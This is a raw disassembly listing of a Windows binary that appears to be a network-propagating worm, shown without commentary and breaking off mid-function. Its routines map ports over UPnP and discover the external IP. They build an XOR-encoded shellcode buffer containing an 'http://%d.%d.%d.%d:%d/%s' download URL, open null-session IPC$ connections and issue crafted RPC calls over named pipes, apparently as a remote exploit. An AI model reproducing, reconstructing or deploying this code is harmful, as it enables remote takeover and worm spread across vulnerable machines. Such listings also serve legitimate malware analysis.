; pUnkOuter push offset stru_9A3E8C ; rclsid call CoCreateInstance mov esi, eax test esi, esi jl short loc_9A8E43 mov eax, [ebp+ppv] mov ecx, [eax] lea edx, [ebp+var_4] push edx push eax call dword ptr [ecx+1Ch] mov esi, eax test esi, esi jl short loc_9A8E43 mov eax, [ebp+var_4] mov ecx, [eax] push edi push eax call dword ptr [ecx+1Ch] mov esi, eax loc_9A8E43: ; CODE XREF: sub_9A8DF5+2Dj ; sub_9A8DF5+40j mov eax, [ebp+var_4] test eax, eax jz short loc_9A8E50 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8E50: ; CODE XREF: sub_9A8DF5+53j mov eax, [ebp+ppv] test eax, eax jz short loc_9A8E5D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8E5D: ; CODE XREF: sub_9A8DF5+60j mov eax, esi pop esi leave retn sub_9A8DF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A8E62 proc near ; CODE XREF: sub_9A8EDE+3Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch and dword ptr [esi], 0 mov ecx, [eax] and [ebp+var_8], 0 and [ebp+var_C], 0 push ebx lea edx, [ebp+var_C] push edx push eax call dword ptr [ecx+48h] mov ebx, eax test ebx, ebx jl short loc_9A8EBF mov eax, [ebp+var_C] mov ecx, [eax] lea edx, [ebp+var_8] push edx push [ebp+arg_4] push [ebp+arg_0] push eax call dword ptr [ecx+28h] test eax, eax jl short loc_9A8EBD mov eax, [ebp+var_8] mov ecx, [eax] lea edx, [ebp+var_4] push edx push eax call dword ptr [ecx+4Ch] mov ebx, eax test ebx, ebx jl short loc_9A8EBF cmp [ebp+var_4], 0 jz short loc_9A8EBF mov dword ptr [esi], 1 jmp short loc_9A8EBF ; --------------------------------------------------------------------------- loc_9A8EBD: ; CODE XREF: sub_9A8E62+37j xor ebx, ebx loc_9A8EBF: ; CODE XREF: sub_9A8E62+20j ; sub_9A8E62+4Aj ... mov eax, [ebp+var_8] test eax, eax jz short loc_9A8ECC mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8ECC: ; CODE XREF: sub_9A8E62+62j mov eax, [ebp+var_C] test eax, eax jz short loc_9A8ED9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8ED9: ; CODE XREF: sub_9A8E62+6Fj mov eax, ebx pop ebx leave retn sub_9A8E62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A8EDE(int, int, OLECHAR *psz) sub_9A8EDE proc near ; CODE XREF: sub_9A8FED+59p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch ppv = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch psz = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi lea ecx, [ebp+var_4] mov edi, eax mov eax, [edi] xor ebx, ebx push ecx push edi mov [ebp+var_14], ebx mov [ebp+ppv], ebx mov [ebp+var_C], ebx call dword ptr [eax+28h] test eax, eax jl short loc_9A8F0F cmp [ebp+var_4], bx jz short loc_9A8F0F mov eax, [edi] push ebx push edi call dword ptr [eax+2Ch] loc_9A8F0F: ; CODE XREF: sub_9A8EDE+22j ; sub_9A8EDE+28j push [ebp+arg_4] lea esi, [ebp+var_10] push [ebp+arg_0] mov eax, edi call sub_9A8E62 mov esi, eax cmp esi, ebx pop ecx pop ecx jl loc_9A8FC2 cmp [ebp+var_10], ebx jnz loc_9A8FC2 mov eax, [edi] lea ecx, [ebp+var_C] push ecx push edi call dword ptr [eax+48h] mov esi, eax cmp esi, ebx jl short loc_9A8FC2 lea eax, [ebp+ppv] push eax ; ppv push offset stru_9A3EBC ; riid push 1 ; dwClsContext push ebx ; pUnkOuter push offset stru_9A3EAC ; rclsid call CoCreateInstance mov esi, eax cmp esi, ebx jl short loc_9A8FC2 mov eax, [ebp+ppv] push [ebp+arg_0] mov ecx, [eax] push eax call dword ptr [ecx+38h] mov esi, eax cmp esi, ebx jl short loc_9A8FC2 mov eax, [ebp+ppv] push [ebp+arg_4] mov ecx, [eax] push eax call dword ptr [ecx+30h] mov esi, eax cmp esi, ebx jl short loc_9A8FC2 push [ebp+psz] ; psz call SysAllocString mov edi, eax push edi ; BSTR call SysStringLen test eax, eax jnz short loc_9A8FA2 mov esi, 8007000Eh jmp short loc_9A8FC5 ; --------------------------------------------------------------------------- loc_9A8FA2: ; CODE XREF: sub_9A8EDE+BBj mov eax, [ebp+ppv] mov ecx, [eax] push edi push eax call dword ptr [ecx+20h] mov esi, eax cmp esi, ebx jl short loc_9A8FC5 mov eax, [ebp+var_C] push [ebp+ppv] mov ecx, [eax] push eax call dword ptr [ecx+20h] mov esi, eax jmp short loc_9A8FC5 ; --------------------------------------------------------------------------- loc_9A8FC2: ; CODE XREF: sub_9A8EDE+47j ; sub_9A8EDE+50j ... mov edi, [ebp+var_14] loc_9A8FC5: ; CODE XREF: sub_9A8EDE+C2j ; sub_9A8EDE+D2j ... push edi ; bstrString call SysFreeString mov eax, [ebp+ppv] cmp eax, ebx jz short loc_9A8FD9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8FD9: ; CODE XREF: sub_9A8EDE+F3j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_9A8FE6 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8FE6: ; CODE XREF: sub_9A8EDE+100j pop edi mov eax, esi pop esi pop ebx leave retn sub_9A8EDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A8FED proc near ; CODE XREF: sub_9AEA12+59p psz = word ptr -18h var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi xor ebx, ebx push 6 ; dwCoInit push ebx ; pvReserved mov [ebp+var_4], ebx call CoInitializeEx mov esi, eax cmp esi, 80010106h jz short loc_9A9011 cmp esi, ebx jl short loc_9A9055 loc_9A9011: ; CODE XREF: sub_9A8FED+1Ej push edi lea edi, [ebp+var_4] call sub_9A8DF5 test eax, eax pop edi jl short loc_9A9055 call rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+psz] add edx, 5 push edx push eax call sub_9AB677 lea eax, [ebp+psz] push eax ; psz movzx eax, [ebp+arg_0] push 6 ; int push eax ; int mov eax, [ebp+var_4] call sub_9A8EDE add esp, 14h test eax, eax jl short loc_9A9055 xor ebx, ebx inc ebx loc_9A9055: ; CODE XREF: sub_9A8FED+22j ; sub_9A8FED+30j ... mov eax, [ebp+var_4] test eax, eax jz short loc_9A9062 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A9062: ; CODE XREF: sub_9A8FED+6Dj test esi, esi jl short loc_9A906C call CoUninitialize loc_9A906C: ; CODE XREF: sub_9A8FED+77j pop esi mov eax, ebx pop ebx leave retn sub_9A8FED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9072 proc near ; CODE XREF: sub_9A932E+69p Str = byte ptr -104h var_103 = byte ptr -103h nSize = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push esi push edi push 3Fh pop ecx xor eax, eax mov [ebp+Str], 0 lea edi, [ebp+var_103] rep stosd stosw stosb mov esi, 100h push esi ; namelen lea eax, [ebp+Str] push eax ; name call gethostname cmp eax, 0FFFFFFFFh jnz short loc_9A90C0 lea eax, [ebp+nSize] push eax ; nSize lea eax, [ebp+Str] push eax ; lpBuffer mov [ebp+nSize], esi call GetComputerNameA loc_9A90C0: ; CODE XREF: sub_9A9072+38j call sub_9AB343 push eax lea eax, [ebp+Str] push eax ; Str call strlen push eax lea eax, [ebp+Str] push eax call sub_9A8245 mov esi, [ebp+Dest] add esp, 0Ch push eax push offset a08x08x ; "%08x%08x" push ebx ; Count push esi ; Dest call _snprintf add esp, 14h pop edi mov byte ptr [esi+ebx-1], 0 pop esi leave retn sub_9A9072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A90FF(int, void *Count, int netshort, struct in_addr in) sub_9A90FF proc near ; CODE XREF: sub_9A9289+45p ; sub_9A932E+52p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Memory = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 Count = dword ptr 0Ch netshort = dword ptr 10h in = in_addr ptr 14h push 20h push offset stru_9A3ED8 call __SEH_prolog mov eax, dword ptr [ebp+in.S_un] xor esi, esi mov [ebp+var_1C], esi mov [ebp+ms_exc.disabled], esi mov [ebp+var_28], eax cmp eax, esi jz short loc_9A912E push eax ; in call inet_ntoa push eax ; Src call _strdup pop ecx jmp short loc_9A9130 ; --------------------------------------------------------------------------- loc_9A912E: ; CODE XREF: sub_9A90FF+1Cj xor eax, eax loc_9A9130: ; CODE XREF: sub_9A90FF+2Dj mov [ebp+Memory], eax push esi ; int push esi ; int push eax ; cp push 7D0h ; int call sub_9B4EE4 add esp, 10h mov [ebp+var_2C], eax cmp eax, esi jz short loc_9A9179 mov ecx, eax loc_9A914C: ; CODE XREF: sub_9A90FF+56j mov [ebp+var_20], ecx cmp ecx, esi jz short loc_9A9157 mov ecx, [ecx] jmp short loc_9A914C ; --------------------------------------------------------------------------- loc_9A9157: ; CODE XREF: sub_9A90FF+52j push 10h ; int push [ebp+netshort] ; netshort push [ebp+Count] ; Count push [ebp+arg_0] ; int push eax ; int call sub_9B4B6B add esp, 14h mov [ebp+var_30], eax cmp eax, esi jz short loc_9A9179 mov [ebp+var_1C], 1 loc_9A9179: ; CODE XREF: sub_9A90FF+49j ; sub_9A90FF+71j push [ebp+Memory] ; Memory call free pop ecx jmp short loc_9A918C ; --------------------------------------------------------------------------- loc_9A9185: ; DATA XREF: .text:stru_9A3ED8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9189: ; DATA XREF: .text:stru_9A3ED8o mov esp, [ebp+ms_exc.old_esp] loc_9A918C: ; CODE XREF: sub_9A90FF+84j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A90FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9199(int, char *Str2) sub_9A9199 proc near ; CODE XREF: sub_9A932E+7Cp Dest = byte ptr -0F8h Str1 = byte ptr -0B8h var_68 = dword ptr -68h var_58 = dword ptr -58h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch Memory = byte ptr -34h var_2F = byte ptr -2Fh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 Str2 = dword ptr 0Ch push 0E8h push offset stru_9A3EF0 call __SEH_prolog mov edi, ecx xor ebx, ebx mov [ebp+ms_exc.disabled], ebx mov [ebp+var_1C], ebx loc_9A91B2: ; CODE XREF: sub_9A9199+D7j push [ebp+var_1C] push offset aD ; "%d" push 6 ; Count lea eax, [ebp+Memory] push eax ; Dest call _snprintf mov [ebp+var_2F], bl mov [ebp+Dest], bl mov byte ptr [ebp+var_44], bl mov byte ptr [ebp+var_58], bl mov [ebp+Str1], bl mov byte ptr [ebp+var_28], bl mov byte ptr [ebp+var_3C], bl mov byte ptr [ebp+var_68], bl mov esi, [ebp+arg_0] add esi, 484h lea eax, [ebp+var_58] push eax ; int lea eax, [ebp+Dest] push eax ; Dest lea eax, [ebp+var_44] push eax ; int lea eax, [ebp+Str1] push eax ; int lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_3C] push eax ; int lea eax, [ebp+var_68] push eax ; int lea eax, [ebp+var_28] push eax ; int lea eax, [ebp+Memory] push eax ; Memory push esi ; int push dword ptr [edi] ; Str call sub_9B5636 add esp, 3Ch mov [ebp+var_2C], eax cmp eax, ebx jnz short loc_9A926A push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _stricmp pop ecx pop ecx test eax, eax jnz short loc_9A926A push offset aTcp ; "TCP" lea eax, [ebp+var_20] push eax ; Str1 call _stricmp pop ecx pop ecx test eax, eax jnz short loc_9A926A lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_28] push eax ; int push esi ; int push dword ptr [edi] ; Str call sub_9B5561 add esp, 10h mov [ebp+var_48], eax loc_9A926A: ; CODE XREF: sub_9A9199+8Ej ; sub_9A9199+A4j ... inc [ebp+var_1C] cmp [ebp+var_2C], ebx jz loc_9A91B2 jmp short loc_9A927F ; --------------------------------------------------------------------------- loc_9A9278: ; DATA XREF: .text:stru_9A3EF0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A927C: ; DATA XREF: .text:stru_9A3EF0o mov esp, [ebp+ms_exc.old_esp] loc_9A927F: ; CODE XREF: sub_9A9199+DDj or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_9A9199 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A9289(int, int, struct in_addr in) sub_9A9289 proc near ; CODE XREF: sub_9ACABE+115p Count = byte ptr -74Ch var_2C8 = dword ptr -2C8h Str = dword ptr -48h netshort = byte ptr -3Ch var_3B = byte ptr -3Bh Dest = byte ptr -2Ch var_2B = byte ptr -2Bh var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch in = in_addr ptr 10h push 73Ch push offset stru_9A3F00 call __SEH_prolog xor ebx, ebx mov [ebp+var_1C], ebx mov [ebp+ms_exc.disabled], ebx mov [ebp+netshort], bl xor eax, eax lea edi, [ebp+var_3B] stosd stosd stosd stosw stosb mov [ebp+Dest], bl xor eax, eax lea edi, [ebp+var_2B] stosd stosd stosd stosw stosb push dword ptr [ebp+in.S_un] ; in lea eax, [ebp+netshort] push eax ; netshort lea eax, [ebp+Count] push eax ; Count lea eax, [ebp+Str] push eax ; int call sub_9A90FF add esp, 10h test eax, eax jz short loc_9A9321 lea eax, [ebp+Dest] push eax ; Dest lea eax, [ebp+var_2C8] push eax ; int push [ebp+Str] ; Str call sub_9B5353 add esp, 0Ch cmp [ebp+Dest], bl jz short loc_9A9321 lea eax, [ebp+netshort] push eax ; cp mov esi, __imp_inet_addr call esi ; __imp_inet_addr mov ecx, [ebp+arg_0] mov [ecx], eax lea eax, [ebp+Dest] push eax ; cp call esi ; __imp_inet_addr mov ecx, [ebp+arg_4] mov [ecx], eax mov [ebp+var_1C], 1 jmp short loc_9A9321 ; --------------------------------------------------------------------------- loc_9A931A: ; DATA XREF: .text:stru_9A3F00o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A931E: ; DATA XREF: .text:stru_9A3F00o mov esp, [ebp+ms_exc.old_esp] loc_9A9321: ; CODE XREF: sub_9A9289+4Fj ; sub_9A9289+6Aj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_9A9289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A932E(__int16, int, struct in_addr in) sub_9A932E proc near ; CODE XREF: sub_9ACABE+186p Count = dword ptr -78Ch var_308 = dword ptr -308h var_88 = byte ptr -88h Str2 = dword ptr -78h var_58 = dword ptr -58h netshort = dword ptr -50h Str = dword ptr -40h var_34 = dword ptr -34h Dest = byte ptr -30h var_2B = byte ptr -2Bh var_28 = dword ptr -28h var_23 = byte ptr -23h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = word ptr 8 arg_4 = dword ptr 0Ch in = in_addr ptr 10h push 77Ch push offset stru_9A3F10 call __SEH_prolog xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+ms_exc.disabled], ebx mov byte ptr [ebp+netshort], bl xor eax, eax lea edi, [ebp+netshort+1] stosd stosd stosd stosw stosb movzx eax, [ebp+arg_0] push eax push offset aU ; "%u" push 6 ; Count lea eax, [ebp+Dest] push eax ; Dest mov edi, _snprintf call edi ; _snprintf mov [ebp+var_2B], bl push dword ptr [ebp+in.S_un] ; in lea eax, [ebp+netshort] push eax ; netshort lea eax, [ebp+Count] push eax ; Count lea eax, [ebp+Str] push eax ; int call sub_9A90FF add esp, 20h test eax, eax jz loc_9A9464 lea eax, [ebp+Str2] push eax push 20h pop ebx call sub_9A9072 lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Count] push eax ; int lea ecx, [ebp+Str] call sub_9A9199 add esp, 0Ch mov esi, [ebp+arg_4] mov word ptr [esi], 50h and [ebp+var_1C], 0 mov ebx, offset aTcp ; "TCP" loc_9A93C3: ; CODE XREF: sub_9A932E+121j cmp [ebp+var_1C], 3 jge loc_9A9464 movzx eax, word ptr [esi] push eax push offset aU ; "%u" push 6 ; Count lea eax, [ebp+var_28] push eax ; Dest call edi ; _snprintf mov [ebp+var_23], 0 push ebx ; int lea eax, [ebp+Str2] push eax ; int lea eax, [ebp+netshort] push eax ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+var_28] push eax ; int lea eax, [ebp+var_308] push eax ; int push [ebp+Str] ; Str call sub_9B542A add esp, 2Ch mov [ebp+var_34], eax test eax, eax jnz short loc_9A9435 lea eax, [ebp+var_58] push eax ; int lea eax, [ebp+var_88] push eax ; Dest push ebx ; int lea eax, [ebp+var_28] push eax ; int lea eax, [ebp+var_308] push eax ; int push [ebp+Str] ; Str call sub_9B5837 add esp, 18h mov [ebp+var_34], eax test eax, eax jz short loc_9A9454 loc_9A9435: ; CODE XREF: sub_9A932E+DCj call rand cdq mov ecx, 2310h idiv ecx add edx, 400h mov [esi], dx inc [ebp+var_1C] jmp loc_9A93C3 ; --------------------------------------------------------------------------- loc_9A9454: ; CODE XREF: sub_9A932E+105j mov [ebp+var_20], 1 jmp short loc_9A9464 ; --------------------------------------------------------------------------- loc_9A945D: ; DATA XREF: .text:stru_9A3F10o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9461: ; DATA XREF: .text:stru_9A3F10o mov esp, [ebp+ms_exc.old_esp] loc_9A9464: ; CODE XREF: sub_9A932E+5Cj ; sub_9A932E+99j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_20] call __SEH_epilog retn sub_9A932E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9471 proc near ; CODE XREF: sub_9A9580+79p cp = byte ptr -38h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 28h push offset stru_9A3F98 call __SEH_prolog mov edi, ecx mov esi, edx or [ebp+var_20], 0FFFFFFFFh xor ebx, ebx mov [ebp+ms_exc.disabled], ebx cmp edi, 10h jnb short loc_9A94B6 push 0Fh ; Count push esi ; Source lea eax, [ebp+cp] push eax ; Dest call strncpy add esp, 0Ch mov [ebp+var_29], bl lea eax, [ebp+cp] push eax ; cp call inet_addr mov [ebp+var_20], eax cmp eax, ebx jnz short loc_9A94B6 or [ebp+var_20], 0FFFFFFFFh loc_9A94B6: ; CODE XREF: sub_9A9471+1Cj ; sub_9A9471+3Fj cmp [ebp+var_20], 0FFFFFFFFh jnz loc_9A9573 mov [ebp+var_1C], ebx loc_9A94C3: ; CODE XREF: sub_9A9471+66j cmp [ebp+var_1C], edi jnb short loc_9A94D9 mov eax, [ebp+var_1C] add eax, esi cmp [eax], bl jnz short loc_9A94D4 mov byte ptr [eax], 20h loc_9A94D4: ; CODE XREF: sub_9A9471+5Ej inc [ebp+var_1C] jmp short loc_9A94C3 ; --------------------------------------------------------------------------- loc_9A94D9: ; CODE XREF: sub_9A9471+55j mov [esi+edi-1], bl push esi ; Str call _strlwr pop ecx loc_9A94E5: ; CODE XREF: sub_9A9471+A5j ; sub_9A9471+AAj ... cmp [ebp+var_20], 0FFFFFFFFh jnz loc_9A9573 push offset SubStr ; "ip address" push esi ; Str call strstr pop ecx pop ecx mov esi, eax mov [ebp+var_24], esi cmp esi, ebx jz short loc_9A9573 add esi, 0Ah mov [ebp+var_24], esi xor ecx, ecx loc_9A950E: ; CODE XREF: sub_9A9471+F9j mov [ebp+var_1C], ecx mov al, [ecx+esi] cmp al, bl jz short loc_9A94E5 cmp ecx, 0Fh jnb short loc_9A94E5 cmp al, 30h jl short loc_9A9569 cmp al, 39h jg short loc_9A9569 mov [ebp+cp], bl xor edx, edx loc_9A952A: ; CODE XREF: sub_9A9471+D9j mov [ebp+var_28], edx cmp edx, 0Fh jnb short loc_9A954C mov al, [ecx+esi] cmp al, 30h jl short loc_9A953D cmp al, 39h jle short loc_9A9541 loc_9A953D: ; CODE XREF: sub_9A9471+C6j cmp al, 2Eh jnz short loc_9A954C loc_9A9541: ; CODE XREF: sub_9A9471+CAj mov [ebp+edx+cp], al inc ecx mov [ebp+var_1C], ecx inc edx jmp short loc_9A952A ; --------------------------------------------------------------------------- loc_9A954C: ; CODE XREF: sub_9A9471+BFj ; sub_9A9471+CEj mov [ebp+edx+cp], bl lea eax, [ebp+cp] push eax ; cp call inet_addr mov [ebp+var_20], eax cmp eax, ebx jnz short loc_9A94E5 or [ebp+var_20], 0FFFFFFFFh jmp loc_9A94E5 ; --------------------------------------------------------------------------- loc_9A9569: ; CODE XREF: sub_9A9471+AEj ; sub_9A9471+B2j inc ecx jmp short loc_9A950E ; --------------------------------------------------------------------------- loc_9A956C: ; DATA XREF: .text:stru_9A3F98o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9570: ; DATA XREF: .text:stru_9A3F98o mov esp, [ebp+ms_exc.old_esp] loc_9A9573: ; CODE XREF: sub_9A9471+49j ; sub_9A9471+78j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_20] call __SEH_epilog retn sub_9A9471 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9580 proc near ; CODE XREF: sub_9ACABE+250p var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h dwFlags = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 2Ch push offset stru_9A3FA8 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh xor ebx, ebx mov [ebp+var_3C], ebx xor eax, eax lea edi, [ebp+var_38] stosd stosd stosd mov [ebp+ms_exc.disabled], ebx push ebx ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jz short loc_9A9623 mov [ebp+var_20], ebx loc_9A95B2: ; CODE XREF: sub_9A9580+51j ; sub_9A9580+9Aj cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_9A9623 cmp [ebp+var_20], 4 jnb short loc_9A9623 call rand and eax, 3 mov [ebp+dwFlags], eax shl eax, 2 cmp [ebp+eax+var_3C], ebx jnz short loc_9A95B2 push ebx ; int lea ecx, [ebp+var_28] push ecx ; int push ds:off_9B94E8[eax] ; lpszUrl call sub_9ABAC6 add esp, 0Ch mov esi, eax mov [ebp+var_2C], esi cmp esi, ebx jz short loc_9A960C mov ecx, [ebp+var_28] cmp ecx, 7 jb short loc_9A9601 mov edx, esi call sub_9A9471 mov [ebp+var_1C], eax loc_9A9601: ; CODE XREF: sub_9A9580+75j cmp esi, ebx jz short loc_9A960C push esi ; hMem call GlobalFree loc_9A960C: ; CODE XREF: sub_9A9580+6Dj ; sub_9A9580+83j mov eax, [ebp+dwFlags] mov [ebp+eax*4+var_3C], 1 inc [ebp+var_20] jmp short loc_9A95B2 ; --------------------------------------------------------------------------- loc_9A961C: ; DATA XREF: .text:stru_9A3FA8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9620: ; DATA XREF: .text:stru_9A3FA8o mov esp, [ebp+ms_exc.old_esp] loc_9A9623: ; CODE XREF: sub_9A9580+2Dj ; sub_9A9580+36j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] inc eax neg eax sbb eax, eax and eax, [ebp+var_1C] call __SEH_epilog retn sub_9A9580 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_9A9638(size_t Size) sub_9A9638 proc near ; DATA XREF: .text:pStubDescriptoro Size = dword ptr 4 push [esp+Size] ; Size call malloc pop ecx retn 4 sub_9A9638 endp ; --------------------------------------------------------------------------- loc_9A9646: ; DATA XREF: .text:pStubDescriptoro push dword ptr [esp+4] call free pop ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9654 proc near ; CODE XREF: sub_9AC5BB+3Dp ; sub_9AC789+51p Src = byte ptr -80h var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 80h mov eax, [ebp+arg_8] push esi push offset dword_9BA28C push [ebp+arg_C] mov ecx, eax shr ecx, 18h push ecx movzx ecx, byte ptr [ebp+arg_8+2] push ecx movzx ecx, ah push ecx and eax, 0FFh push eax push offset aHttpD_D_D_DDS ; "http://%d.%d.%d.%d:%d/%s" lea eax, [ebp+Src] push 80h ; Count push eax ; Dest call _snprintf lea eax, [ebp+Src] push eax ; Str mov [ebp+var_1], 0 call strlen add esp, 28h add eax, 0BEh push eax ; dwBytes push 40h ; uFlags call GlobalAlloc test eax, eax mov esi, [ebp+arg_0] mov [esi], eax jz loc_9A9741 push ebx push edi mov edi, 0B9h push edi ; Size push offset dword_9B99F0 ; Src push eax ; Dst call memcpy lea eax, [ebp+Src] push eax ; Str call strlen inc eax push eax ; Size lea eax, [ebp+Src] push eax ; Src mov eax, [esi] add eax, edi push eax ; Dst call memcpy push 15h lea eax, [ebp+Src] pop edi push eax ; Str call strlen mov ebx, 0BAh add eax, ebx add esp, 20h cmp eax, edi jbe short loc_9A971B loc_9A9703: ; CODE XREF: sub_9A9654+C5j mov eax, [esi] add eax, edi xor byte ptr [eax], 0C4h lea eax, [ebp+Src] push eax ; Str inc edi call strlen add eax, ebx cmp edi, eax pop ecx jb short loc_9A9703 loc_9A971B: ; CODE XREF: sub_9A9654+ADj mov eax, [esi] mov byte ptr [edi+eax], 4Dh mov eax, [esi] mov byte ptr [eax+edi+1], 53h mov eax, [esi] mov byte ptr [eax+edi+2], 0 push dword ptr [esi] ; Str call strlen pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax pop edi inc eax pop ebx loc_9A9741: ; CODE XREF: sub_9A9654+63j pop esi leave retn sub_9A9654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A9744 proc near ; CODE XREF: sub_9A9BBC+83p Dest = byte ptr -120h var_21 = byte ptr -21h Dst = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push [ebp+arg_0] lea eax, [ebp+Dest] push offset aSIpc_0 ; "\\\\%s\\IPC$" push 100h ; Count push eax ; Dest call _snprintf push 20h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst mov [ebp+var_21], 0 call memset add esp, 1Ch mov eax, offset Password push 0 ; dwFlags push eax ; lpUserName push eax ; lpPassword mov [ebp+var_10], eax lea eax, [ebp+Dst] lea ecx, [ebp+Dest] push eax ; lpNetResource mov [ebp+var_14], 3 mov [ebp+var_C], ecx call WNetAddConnection2A neg eax sbb eax, eax inc eax leave retn sub_9A9744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A97A7(RPC_CSTR NetworkAddr, RPC_CSTR Endpoint) sub_9A97A7 proc near ; CODE XREF: sub_9A9BBC+9Ep var_24 = dword ptr -24h var_20 = dword ptr -20h StringBinding = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h NetworkAddr = dword ptr 8 Endpoint = dword ptr 0Ch push 14h push offset stru_9A4008 call __SEH_prolog xor esi, esi mov [ebp+var_20], esi mov [ebp+StringBinding], esi lea eax, [ebp+StringBinding] push eax ; StringBinding push esi ; Options push [ebp+Endpoint] ; Endpoint push [ebp+NetworkAddr] ; NetworkAddr push offset ProtSeq ; "ncacn_np" push esi ; ObjUuid call RpcStringBindingComposeA test eax, eax jnz short loc_9A97E8 push offset Binding ; Binding push [ebp+StringBinding] ; StringBinding call RpcBindingFromStringBindingA cmp eax, esi jz short loc_9A97EC loc_9A97E8: ; CODE XREF: sub_9A97A7+2Dj xor eax, eax jmp short loc_9A9835 ; --------------------------------------------------------------------------- loc_9A97EC: ; CODE XREF: sub_9A97A7+3Fj mov [ebp+ms_exc.disabled], esi push esi push 4 push offset aM ; "M" push offset aS_0 ; "S" push offset aAaa ; "AAA" call sub_9AED5A add esp, 14h mov [ebp+var_20], 1 jmp short loc_9A9823 ; --------------------------------------------------------------------------- loc_9A9812: ; DATA XREF: .text:stru_9A4008o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_24], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A9820: ; DATA XREF: .text:stru_9A4008o mov esp, [ebp+ms_exc.old_esp] loc_9A9823: ; CODE XREF: sub_9A97A7+69j or [ebp+ms_exc.disabled], 0FFFFFFFFh push offset Binding ; Binding call RpcBindingFree mov eax, [ebp+var_20] loc_9A9835: ; CODE XREF: 